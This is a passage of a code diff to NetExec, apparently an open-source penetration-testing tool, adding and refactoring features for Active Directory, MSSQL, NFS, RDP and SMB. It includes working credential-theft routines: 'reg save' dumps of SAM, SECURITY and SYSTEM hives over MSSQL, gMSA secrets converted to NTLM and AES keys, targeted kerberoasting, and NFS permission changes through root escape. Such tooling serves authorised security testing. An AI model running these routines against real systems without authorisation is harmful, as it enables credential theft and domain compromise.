gmsa_accounts_parsed: - self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}") - - for acc in gmsa_accounts_parsed: - if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == self.args.gmsa_convert_id: - self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}") - break + if len(self.args.gmsa_convert_id) != 64: + self.logger.fail("Length of the gmsa id not correct :'(") else: - self.logger.fail("No string provided :'(") + # getting the gmsa account + gmsa_accounts = self.search( + searchFilter="(objectClass=msDS-GroupManagedServiceAccount)", + attributes=["sAMAccountName"], + ) + gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) + self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}") + + for acc in gmsa_accounts_parsed: + if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == self.args.gmsa_convert_id: + self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}") + break def gmsa_decrypt_lsa(self): - if self.args.gmsa_decrypt_lsa: - if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa: - gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":") - # getting the gmsa account - search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldap_connection.search( - searchBase=self.baseDN, - searchFilter=search_filter, - attributes=["sAMAccountName"], - sizeLimit=0, - ) - gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) - if gmsa_accounts_parsed: - self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") + if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa: + gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":") + # getting the gmsa account + gmsa_accounts = self.search( + searchFilter="(objectClass=msDS-GroupManagedServiceAccount)", + attributes=["sAMAccountName"], + ) + gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) + sAMAccountName = "" + if gmsa_accounts_parsed: + self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") - for acc in gmsa_accounts_parsed: - if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == gmsa_id: - gmsa_id = acc["sAMAccountName"] - break - # convert to ntlm - data = bytes.fromhex(gmsa_pass) - blob = MSDS_MANAGEDPASSWORD_BLOB() - blob.fromString(data) - currentPassword = blob["CurrentPassword"][:-2] - ntlm_hash = MD4.new() - ntlm_hash.update(currentPassword) - passwd = hexlify(ntlm_hash.digest()).decode("utf-8") - self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}") + for acc in gmsa_accounts_parsed: + if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == gmsa_id: + sAMAccountName = acc["sAMAccountName"] + break + # Compute the password and keys + data = bytes.fromhex(gmsa_pass) + rc4, aes128, aes256 = self.gmsa_compute_secrets(data, sAMAccountName) + self.logger.highlight(f"Account: {sAMAccountName:<20} NTLM: {rc4}") + if not sAMAccountName: + self.logger.fail("Could not find the GMSA account associated with the provided ID.") + else: + self.logger.highlight(f"Account: {sAMAccountName:<20} aes128-cts-hmac-sha1-96: {aes128}") + self.logger.highlight(f"Account: {sAMAccountName:<20} aes256-cts-hmac-sha1-96: {aes256}") else: - self.logger.fail("No string provided :'(") + self.logger.fail("The provided string does not appear to be a valid GMSA LSA secret.") def pso(self): """ diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index b98c216d..aaecc734 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -14,10 +14,12 @@ def proto_args(parser, parents): egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file") kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file") kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)") - egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users") + targeted_kerberoast_arg = egroup.add_argument("--targeted-kerberoast", nargs="+", dest="targeted_kerberoast", action=get_conditional_action(_StoreAction), make_required=[], help="Adds temporary SPN to specified users, requests ST, then remove added SPN. Specify sAMAccountNames or file containing sAMAccountNames") + egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Specify accounts that should be kerberoasted using an account without pre-authentication requirement.") - # Make kerberoast-users require kerberoasting + # Make kerberoast-users and targeted-kerberoast require kerberoasting kerberoast_users_arg.make_required = [kerberoasting_arg] + targeted_kerberoast_arg.make_required = [kerberoasting_arg] vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain") vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries") diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 4fc40e98..b7edc248 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -554,10 +554,12 @@ class mssql(connection): system_storename = gen_random_string(6) dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}" clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}" + get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F" output_filename = self.output_file_template.format(output_folder="sam") try: exec_method = MSSQLEXEC(self.conn, self.logger) exec_method.execute(dump_command) + exec_method.execute(get_owner_command) exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam") exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") exec_method.execute(clean_command) @@ -587,10 +589,12 @@ class mssql(connection): system_storename = gen_random_string(6) dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}" clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}" + get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F" output_filename = self.output_file_template.format(output_folder="lsa") try: exec_method = MSSQLEXEC(self.conn, self.logger) exec_method.execute(dump_command) + exec_method.execute(get_owner_command) exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security") exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") exec_method.execute(clean_command) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 4a564ecf..2dc16ac5 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -130,18 +130,22 @@ class nfs(connection): if program["program"] == NFS_PROGRAM: self.nfs_versions.add(program["version"]) except Exception as e: - self.logger.debug(f"Error checking NFS version: {self.host} {e}") + self.logger.fail(f"Error checking NFS version: {self.host} {e}") # Connect to NFS - nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) - self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) - self.nfs3.connect() - # Check if root escape is possible - if NFS_V3 in self.nfs_versions: - self.root_escape = self.try_root_escape() - else: - self.logger.debug("NFSv3 not supported, skipping root escape check") - self.nfs3.disconnect() + try: + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + if nfs_port: + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + # Check if root escape is possible + if NFS_V3 in self.nfs_versions: + self.root_escape = self.try_root_escape() + else: + self.logger.debug("NFSv3 not supported, skipping root escape check") + self.nfs3.disconnect() + except Exception as e: + self.logger.fail(f"Failed to connect to NFS3 host: {e}") def print_host_info(self): root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"]) @@ -526,6 +530,62 @@ class nfs(connection): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") + def chmod(self): + try: + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] + + # Iterate over the path + curr_fh = mount_fh + privs = int(self.args.chmod[0], 8) + filepath = self.args.chmod[1] + file_path, file_name = os.path.split(filepath) + + # If target dir is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, file_path.lstrip("/").split("/"))): + self.update_auth(curr_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + # If the path does not exist, create it + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Directory '{sub_path}' does not exist on path '{file_path}/'") + + curr_fh = res["resok"]["object"]["data"] + + # Update the UID and GID from the directory + self.update_auth(curr_fh) + + # Checking if file_name already exists on remote file path + lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth) + + if "resfail" in lookup_response and lookup_response["status"] == NFS3ERR_NOENT: + self.logger.fail(f"File '{file_name}' does not exist on path '{file_path}/'") + return + + current_privs = self.nfs3.getattr(lookup_response["resok"]["object"]["data"], auth=self.auth)["attributes"]["mode"] + res = self.nfs3.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.auth) + if "resfail" in res: + self.logger.fail(f"Failed to change permissions for '{filepath}': {NFSSTAT3[res['status']]}") + else: + self.logger.success(f"Permissions for '{filepath}' successfully changed from {format(current_privs, 'o')} to {format(privs, 'o')}") + except Exception as e: + self.logger.fail(f"Error occurred while processing path: {e}") + def get_root_handles(self, mount_fh): """ Get possible root handles to escape to the root filesystem @@ -727,7 +787,10 @@ class nfs(connection): read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"]) perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}" file_size = convert_size(item["name_attributes"]["attributes"]["size"]) - self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}") + try: + self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}") + except UnicodeDecodeError: + self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}") def format_directory(self, raw_directory): """Convert the chained directory entries to a list of the entries""" diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 9ed89a74..0de9f76d 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -10,5 +10,6 @@ def proto_args(parser, parents): dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") + dgroup.add_argument("--chmod", nargs=2, metavar=("PERMISSIONS", "FILE"), help="Change permissions of remote NFS file. Example: --chmod 777 /path/to/file") return parser diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index a565ac68..fdbdd923 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -1,4 +1,5 @@ import asyncio +import contextlib from datetime import datetime from os import getenv from anyio import Path @@ -108,7 +109,10 @@ class rdp(connection): self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})") else: self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})") - self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla) + try: + self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla) + except Exception as e: + self.logger.debug(f"Error adding host {self.host} into db: {e!s}") def create_conn_obj(self): self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout) @@ -124,7 +128,7 @@ class rdp(connection): target=self.target, credentials=self.auth, ) - asyncio.run(self.connect_rdp()) + asyncio.run(self.connect_rdp_with_cleanup()) except OSError as e: if "Errno 104" not in str(e): return False @@ -188,10 +192,30 @@ class rdp(connection): pass async def connect_rdp(self): + """Connect to the RDP server. Does NOT clean up on exit. + + Use this when the caller needs the connection alive after connecting + (screen, nla_screen, execute_shell). For sync callers that only need to + know whether authentication succeeded and want guaranteed cleanup, use + connect_rdp_with_cleanup() instead. + """ _, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout) if err is not None: raise err + async def terminate_conn(self): + """Terminate the RDP connection with a timeout so cleanup doesn't hang.""" + if self.conn is not None: + with contextlib.suppress(Exception): + await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout) + + async def connect_rdp_with_cleanup(self): + """Connect to the RDP server and always terminate the connection on exit""" + try: + await self.connect_rdp() + finally: + await self.terminate_conn() + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): try: lmhash = "" @@ -227,7 +251,7 @@ class rdp(connection): stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT kerberos_target = UniTarget( - self.host, + self.kdcHost, 88, UniProto.CLIENT_TCP, timeout=self.args.rdp_timeout, @@ -245,7 +269,7 @@ class rdp(connection): stype=stype, ) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - asyncio.run(self.connect_rdp()) + asyncio.run(self.connect_rdp_with_cleanup()) self.admin_privs = True self.logger.success( @@ -301,7 +325,7 @@ class rdp(connection): stype=asyauthSecret.PASS, ) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - asyncio.run(self.connect_rdp()) + asyncio.run(self.connect_rdp_with_cleanup()) self.admin_privs = True self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") @@ -335,7 +359,7 @@ class rdp(connection): stype=asyauthSecret.NT, ) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - asyncio.run(self.connect_rdp()) + asyncio.run(self.connect_rdp_with_cleanup()) self.admin_privs = True self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") @@ -420,7 +444,6 @@ class rdp(connection): return None self.logger.debug(f"Executing command: {payload_with_clip}") - # Create a connection try: self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() @@ -525,13 +548,9 @@ class rdp(connection): self.logger.fail(f"Command execution failed: {e!s}") return None finally: - # Always clean up the connection - if self.conn is not None: - self.logger.debug("Terminating RDP connection") - try: - await self.conn.terminate() - except Exception as e: - self.logger.debug(f"Error terminating connection: {e!s}") + # clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43) + self.logger.debug("Terminating RDP connection") + await self.terminate_conn() def execute(self, payload=None, shell_type="cmd"): """Execute a command via RDP""" @@ -566,15 +585,17 @@ class rdp(connection): try: self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() - except Exception: - return - await asyncio.sleep(5) - if self.conn is not None and self.conn.desktop_buffer_has_data is True: - buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser() - buffer.save(filename, "png") - self.logger.highlight(f"Screenshot saved {filename}") + await asyncio.sleep(5) + if self.conn is not None and self.conn.desktop_buffer_has_data is True: + buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) + filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser() + buffer.save(filename, "png") + self.logger.highlight(f"Screenshot saved {filename}") + except Exception as e: + self.logger.debug(f"Error taking screenshot: {e!s}") + finally: + await self.terminate_conn() def screenshot(self): asyncio.run(self.screen()) @@ -586,19 +607,22 @@ class rdp(connection): try: self.iosettings.supported_protocols = proto self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - await self.connect_rdp() except Exception as e: self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}") - return + await self.terminate_conn() + continue - await asyncio.sleep(int(self.args.screentime)) - if self.conn is not None and self.conn.desktop_buffer_has_data is True: - buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser() - buffer.save(filename, "png") - self.logger.highlight(f"NLA Screenshot saved {filename}") - return + try: + await asyncio.sleep(int(self.args.screentime)) + if self.conn is not None and self.conn.desktop_buffer_has_data is True: + buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) + filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser() + buffer.save(filename, "png") + self.logger.highlight(f"NLA Screenshot saved {filename}") + return + finally: + await self.terminate_conn() def nla_screenshot(self): if not self.nla: diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index b5c87708..f44077e6 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -21,9 +21,10 @@ from impacket.examples.regsecrets import ( LSASecrets as RegSecretsLSASecrets ) from impacket.nmb import NetBIOSError, NetBIOSTimeout -from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp, srvs, wkst +from impacket.dcerpc.v5 import lsat, lsad, scmr, rrp, srvs, wkst +from impacket.dcerpc.v5.srvs import STYPE_DISKTREE, STYPE_MASK from impacket.dcerpc.v5.rpcrt import DCERPCException -from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport +from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP from impacket.dcerpc.v5.samr import SID_NAME_USE @@ -35,7 +36,21 @@ from impacket.krb5 import constants from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login -from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, SMB2_0_IOCTL_IS_FSCTL +from impacket.smb3structs import ( + FILE_ADD_FILE, + FILE_ADD_SUBDIRECTORY, + FILE_DIRECTORY_FILE, + FILE_OPEN, + FILE_SHARE_DELETE, + FILE_SHARE_READ, + FILE_SHARE_WRITE, + FILE_SYNCHRONOUS_IO_NONALERT, + GENERIC_WRITE, + SMB2_0_IOCTL_IS_FSCTL, + WRITE_DAC, + WRITE_OWNER, +) + from impacket.dcerpc.v5 import tsts as TSTS from nxc.config import process_secret, host_info_colors, check_guest_account @@ -56,6 +71,7 @@ from nxc.protocols.smb.samrfunc import SamrFunc from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.helpers.logger import highlight from nxc.helpers.bloodhound import add_user_bh +from nxc.helpers.rpc import NXCRPCConnection from nxc.helpers.powershell import create_ps_command from nxc.helpers.misc import detect_if_ip from nxc.protocols.ldap.resolution import LDAPResolution @@ -192,7 +208,14 @@ class smb(connection): # self.domain is the attribute we authenticate with # self.targetDomain is the attribute which gets displayed as host domain if not self.no_ntlm: - self.hostname = self.conn.getServerName() + # Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars + dns_hostname = self.conn.getServerDNSHostName().upper() + if dns_hostname and "." in dns_hostname: + self.hostname = dns_hostname.split(".")[0] + elif dns_hostname: + self.hostname = dns_hostname + else: + self.hostname = self.conn.getServerName() self.targetDomain = self.conn.getServerDNSDomainName() if not self.targetDomain: # Not sure if that can even happen but now we are safe self.targetDomain = self.hostname @@ -649,27 +672,23 @@ class smb(connection): if self.args.no_admin_check: return self.logger.debug(f"Checking if user is admin on {self.host}") - rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn) - dce = rpctransport.get_dce_rpc() try: - dce.connect() + dce = NXCRPCConnection(self).connect(r"\svcctl", scmr.MSRPC_UUID_SCMR) except Exception: self.admin_privs = False - else: - with contextlib.suppress(Exception): - dce.bind(scmr.MSRPC_UUID_SCMR) - try: - # 0xF003F - SC_MANAGER_ALL_ACCESS - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F) - scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"]) - self.logger.debug(f"User is admin on {self.host}!") - self.admin_privs = True - except scmr.DCERPCException: - self.admin_privs = False - except Exception as e: - self.logger.fail(f"Error checking if user is admin on {self.host}: {e}") - self.admin_privs = False + return + try: + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F) + scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"]) + self.logger.debug(f"User is admin on {self.host}!") + self.admin_privs = True + except scmr.DCERPCException: + self.admin_privs = False + except Exception as e: + self.logger.fail(f"Error checking if user is admin on {self.host}: {e}") + self.admin_privs = False def gen_relay_list(self): if self.server_os.lower().find("windows") != -1 and self.signing is False: @@ -902,19 +921,10 @@ class smb(connection): elif method == "atexec": try: exec_method = TSCH_EXEC( - self.host if not self.kerberos else self.hostname + "." + self.domain, - self.smb_share_name, - self.username, - self.password, - self.domain, - self.kerberos, - self.aesKey, - self.host, - self.kdcHost, - self.hash, - self.logger, - self.args.get_output_tries, - self.args.share + connection=self, + logger=self.logger, + tries=self.args.get_output_tries, + share=self.args.share, ) self.logger.info("Executed command via atexec") break @@ -925,21 +935,10 @@ class smb(connection): elif method == "smbexec": try: exec_method = SMBEXEC( - self.host if not self.kerberos else self.hostname + "." + self.domain, - self.smb_share_name, - self.conn, - self.username, - self.password, - self.domain, - self.kerberos, - self.aesKey, - self.host, - self.kdcHost, - self.hash, - self.args.share, - self.port, - self.logger, - self.args.get_output_tries + connection=self, + share=self.args.share, + logger=self.logger, + tries=self.args.get_output_tries, ) self.logger.info("Executed command via smbexec") break @@ -1280,12 +1279,10 @@ class smb(connection): self.logger.info(f"No active session found for specified user(s) using the Remote Registry service on {self.hostname}.") # Bind to the Remote Registry Pipe - rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\winreg", smb_connection=self.conn) + rpc = NXCRPCConnection(self) for binding_attempts in range(2, 0, -1): - dce = rpctransport.get_dce_rpc() try: - dce.connect() - dce.bind(rrp.MSRPC_UUID_RRP) + dce = rpc.connect(r"\winreg", rrp.MSRPC_UUID_RRP) break except SessionError as e: self.logger.debug(f"Could not bind to the Remote Registry on {self.hostname}: {e}") @@ -1339,11 +1336,8 @@ class smb(connection): return # Bind to the LSARPC Pipe for SID resolution - rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\lsarpc", smb_connection=self.conn) - dce = rpctransport.get_dce_rpc() try: - dce.connect() - dce.bind(lsat.MSRPC_UUID_LSAT) + dce = NXCRPCConnection(self).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT) except Exception as e: self.logger.debug(f"Failed to connect to LSARPC for SID resolution on {self.hostname}: {e}") output(sessions) @@ -1387,10 +1381,17 @@ class smb(connection): output(sessions) def shares(self): - temp_dir = ntpath.normpath("\\" + gen_random_string()) - temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") permissions = [] - write_check = bool(not self.args.no_write_check) + # ACL-based write check masks: each open attempt against the share root + # validates one specific permission. WRITE_DAC/WRITE_OWNER cover paths + # where the user can grant themselves write via ACL modification. + write_checks = [ + (GENERIC_WRITE, "WRITE"), + (FILE_ADD_FILE, "WRITE"), + (FILE_ADD_SUBDIRECTORY, "WRITE (SUBDIR)"), + (WRITE_DAC, "WRITE (ACL)"), + (WRITE_OWNER, "WRITE (ACL)"), + ] try: self.logger.debug(f"domain: {self.domain}") @@ -1424,19 +1425,24 @@ class smb(connection): return permissions for share in shares: - share_name = share["shi1_netname"][:-1] + share_name = share["shi1_netname"].rstrip("\x00") # Skip excluded shares if self.args.exclude_shares and share_name in self.args.exclude_shares: self.logger.debug(f"Skipping excluded share: {share_name}") continue - share_remark = share["shi1_remark"][:-1] - share_info = {"name": share_name, "remark": share_remark, "access": []} + # Mask off STYPE_SPECIAL/STYPE_TEMPORARY flags; only the base type + # (DISKTREE/PRINTQ/DEVICE/IPC) determines whether write checks apply. + share_remark = share["shi1_remark"].rstrip("\x00") + share_info = { + "name": share_name, + "remark": share_remark, + "type": share["shi1_type"] & STYPE_MASK, + "access": [], + } read = False write = False - write_dir = False - write_file = False try: self.conn.listPath(share_name, "*") read = True @@ -1445,13 +1451,28 @@ class smb(connection): error = get_error_string(e) self.logger.debug(f"Error checking READ access on share {share_name}: {error}") except (NetBIOSError, UnicodeEncodeError) as e: - write_check = False share_info["access"].append("UNKNOWN (try '--no-smbv1')") error = get_error_string(e) self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1") self.logger.info(f"Skipping WRITE permission check on share {share_name}") + permissions.append(share_info) + continue - if write_check: + if share_info["type"] != STYPE_DISKTREE: + # Non-filesystem share (IPC, print queue, etc.) — write checks produce + # false positives due to non-file semantics; skip and report access as-is + self.logger.debug(f"Skipping write-access check on non-filesystem share {share_name} (type=0x{share_info['type']:02x})") + permissions.append(share_info) + continue + + if self.args.file_write_check: + # Empirical write check — creates and deletes a temp file/dir. + # Use --file-write-check to enable. Catches post-ACL blocking (AV/EDR/quota) + # but leaves a brief artifact window if delete permissions are missing. + temp_dir = ntpath.normpath("\\" + gen_random_string()) + temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") + write_dir = False + write_file = False try: self.conn.createDirectory(share_name, temp_dir) write_dir = True @@ -1460,9 +1481,7 @@ class smb(connection): self.conn.deleteDirectory(share_name, temp_dir) except SessionError as e: error = get_error_string(e) - if error == "STATUS_OBJECT_NAME_NOT_FOUND": - pass - else: + if error != "STATUS_OBJECT_NAME_NOT_FOUND": self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}") except SessionError as e: error = get_error_string(e) @@ -1478,9 +1497,7 @@ class smb(connection): self.conn.deleteFile(share_name, temp_file) except SessionError as e: error = get_error_string(e) - if error == "STATUS_OBJECT_NAME_NOT_FOUND": - pass - else: + if error != "STATUS_OBJECT_NAME_NOT_FOUND": self.logger.debug(f"Error DELETING created temp file {temp_file} on share {share_name}") except SessionError as e: error = get_error_string(e) @@ -1490,6 +1507,50 @@ class smb(connection): if write_dir or write_file: write = True share_info["access"].append("WRITE") + else: + # ACL-based write check (default) — opens share root with FILE_OPEN + + # various access masks. No files created on disk. May not detect writes + # blocked post-ACL by AV/EDR or disk quota. Detects WRITE_DAC/WRITE_OWNER + # escalation paths that the empirical check misses. + seen_labels = set() + write_labels = [] + for mask, label in write_checks: + if label in seen_labels: + continue + tid = None + try: + tid = self.conn.connectTree(share_name) + fid = self.conn.openFile( + tid, + "\\", + desiredAccess=mask, + shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + creationDisposition=FILE_OPEN, + fileAttributes=0, + creationOption=FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, + ) + self.conn.closeFile(tid, fid) + write_labels.append(label) + seen_labels.add(label) + self.logger.debug(f"{label} confirmed on {share_name} (mask=0x{mask:08x})") + except SessionError as e: + error = get_error_string(e) + self.logger.debug(f"No {label} on {share_name}: {error}") + except Exception as e: + self.logger.debug(f"{label} check error on {share_name}: {e}") + finally: + if tid: + with contextlib.suppress(Exception): + self.conn.disconnectTree(tid) + + # If direct WRITE is achievable, suppress more granular labels + if "WRITE" in write_labels: + write_labels = ["WRITE"] + + for lbl in write_labels: + share_info["access"].append(lbl) + if not write: + write = True permissions.append(share_info) @@ -1505,8 +1566,8 @@ class smb(connection): self.logger.display("[REMOVED] Use the --shares read,write options instead.") self.logger.display("Enumerated shares") - self.logger.highlight(f"{'Share':<15} {'Permissions':<15} {'Remark'}") - self.logger.highlight(f"{'-----':<15} {'-----------':<15} {'------'}") + self.logger.highlight(f"{'Share':<15} {'Permissions':<22} {'Remark'}") + self.logger.highlight(f"{'-----':<15} {'-----------':<22} {'------'}") for share in permissions: name = share["name"] @@ -1514,7 +1575,7 @@ class smb(connection): perms = ",".join(share["access"]) if self.args.shares and self.args.shares.lower() not in perms.lower(): continue - self.logger.highlight(f"{name:<15} {perms:<15} {remark}") + self.logger.highlight(f"{name:<15} 